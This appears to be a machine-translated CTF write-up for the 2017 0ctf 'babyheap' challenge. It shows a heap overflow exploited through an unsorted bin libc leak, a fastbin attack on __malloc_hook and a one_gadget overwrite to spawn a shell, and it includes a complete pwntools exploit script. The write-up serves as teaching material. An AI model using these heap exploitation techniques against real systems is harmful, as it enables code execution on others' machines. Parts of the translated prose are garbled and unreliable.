2017-0ctf-babyheap

Based on the use fastbin attack + unsortedbin attack + __malloc_hook of

Download title: https://uaf.io/assets/0ctfbabyheap

2017 0ctf this question is very simple a question

First look at the title of the basic information
$ checksec babyheap
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
$ ./babyheap
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command:

Full protection, is a typical menu title, combined with ida, write down these functions

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')    

And then found in the ida

__int64 __fastcall fill(__int64 a1)
{
  ...
  printf("Index: ");
  result = num();
  v2 = result;
  if ( (signed int)result >= 0 && (signed int)result <= 15 )
  {
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = num();
      v3 = result;
      if ( (signed int)result > 0 )
      {
        printf("Content: ");
 ====>  result = read____(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
 ...

He did not make a judgment on the length of the input, we can overflow from one block to another stack stacks

We can do to control the size of the heap block

  1. By unsortedbin attack to leak out the address of the heap
    • Apply in advance a few small stacks
    • Using the first chunk of the overflow, the second chunk of size modification (can include a large chunk of each three fd)
    • The second free chunk, then apply back
    • With this third chunk chunk major changes (Free energy backward unsortedbin)
    • The third chunk is read by the second chunk fd (main_arena + 88 address)
  2. Fastbin attack by control __malloc_hook
    • free fall application in advance of the size of the chunk 0x60
    • The first step by the idea of ​​change is free of fd is __malloc_hook
  3. The __malloc_hook changed
  4. Calloc call to perform one_gadget
1. The address of the heap to leak out through unsortedbin attack
alloc(0x10)#idx0    
alloc(0x10)#idx1    
alloc(0x30)#idx2    
alloc(0x40)#idx3    
alloc(0x60)#idx4    

fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1) 
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读 idx2 ->fd 了

fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)

dump(1)         
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))

free (2) when I did not go to control unsortedbin checks to the next chunk I idx2-> size changed after 0x91, the next chunk is just idx4, the application of the above five memory size is my carefully constructed

Complete exp as follows:

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process("./babyheap")
elf=ELF('./babyheap')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

#context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]
context.arch = "amd64"

def alloc(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.sendline(str(size))

def fill(idx,payload):
    p.recvuntil('Command: ')
    p.sendline('2') 
    p.sendline(str(idx))
    p.sendline(str(len(payload)))
    p.send(payload) 
    
def free(idx):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.sendline(str(idx))   
    
def dump(idx):
    p.recvuntil('Command: ') 
    p.sendline('4')
    p.sendline(str(idx))    
    p.recvuntil('Content: \n')    
    
#-------leak main_arena -  unsorted bin attack ------
alloc(0x10)#idx0    
alloc(0x10)#idx1    
alloc(0x30)#idx2    
alloc(0x40)#idx3    
alloc(0x60)#idx4    

fill(0,p64(0x51)*4) #idx1 -> size =0x51
fill(2,p64(0x31)*6) #让被free的chunk检查到后面是在用的chunk
free(1) 
alloc(0x40)#idx1 这个指针还是idx1的位置,但是可以读写 idx2 ->fd 了

fill(1,p64(0x91)*4) #将idx2放进unsorted bin中
free(2)

dump(1)         
p.recv(0x20)
SBaddr = u64(p.recv(8))
p.recvline()
malloc_hook=SBaddr-88-0x10
success('malloc_hook = '+hex(malloc_hook))
#------------ 把malloc_hook申请出来 ---------------------
free(4)
payload=p64(0)*9+p64(0x71)+p64(malloc_hook-0x23)
fill(3,payload)
alloc(0x60)#idx2
alloc(0x60)#idx4 malloc_hook
#----------- 改 malloc_hook ---------------------------

libc_addr = malloc_hook-libc.symbols['__malloc_hook']
success('libc = '+hex(libc_addr))

payload=p64(libc_addr+0x4526a) #0x4526a在下面解释
shllcode='a'*0x13+payload
fill(4,shllcode) 

alloc(1)
p.sendline('bash')
p.interactive()

We need to write a function address in __malloc_hook, for getshell

0x4526a This offset is to write this stuff:

<do_system+1098>:     mov    rax,QWORD PTR [rip+0x37ec47]    
<do_system+1105>:     lea    rdi,[rip+0x147adf]              
<do_system+1112>:     lea    rsi,[rsp+0x30]
<do_system+1117>:     mov    DWORD PTR [rip+0x381219],0x0    
<do_system+1127>:     mov    DWORD PTR [rip+0x381213],0x0    
<do_system+1137>:     mov    rdx,QWORD PTR [rax]
<do_system+1140>:     call   0x7f7f36b27770 <execve>

This location is how to find share a gadget:? Https://github.com/david942j/one_gadget.git

$ one_gadget /lib/x86_64-linux-gnu/libc-2.23.so

0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
$

This is a four addresses a trial go! Sao years!

Guess you like

Origin www.cnblogs.com/jazm/p/11184380.html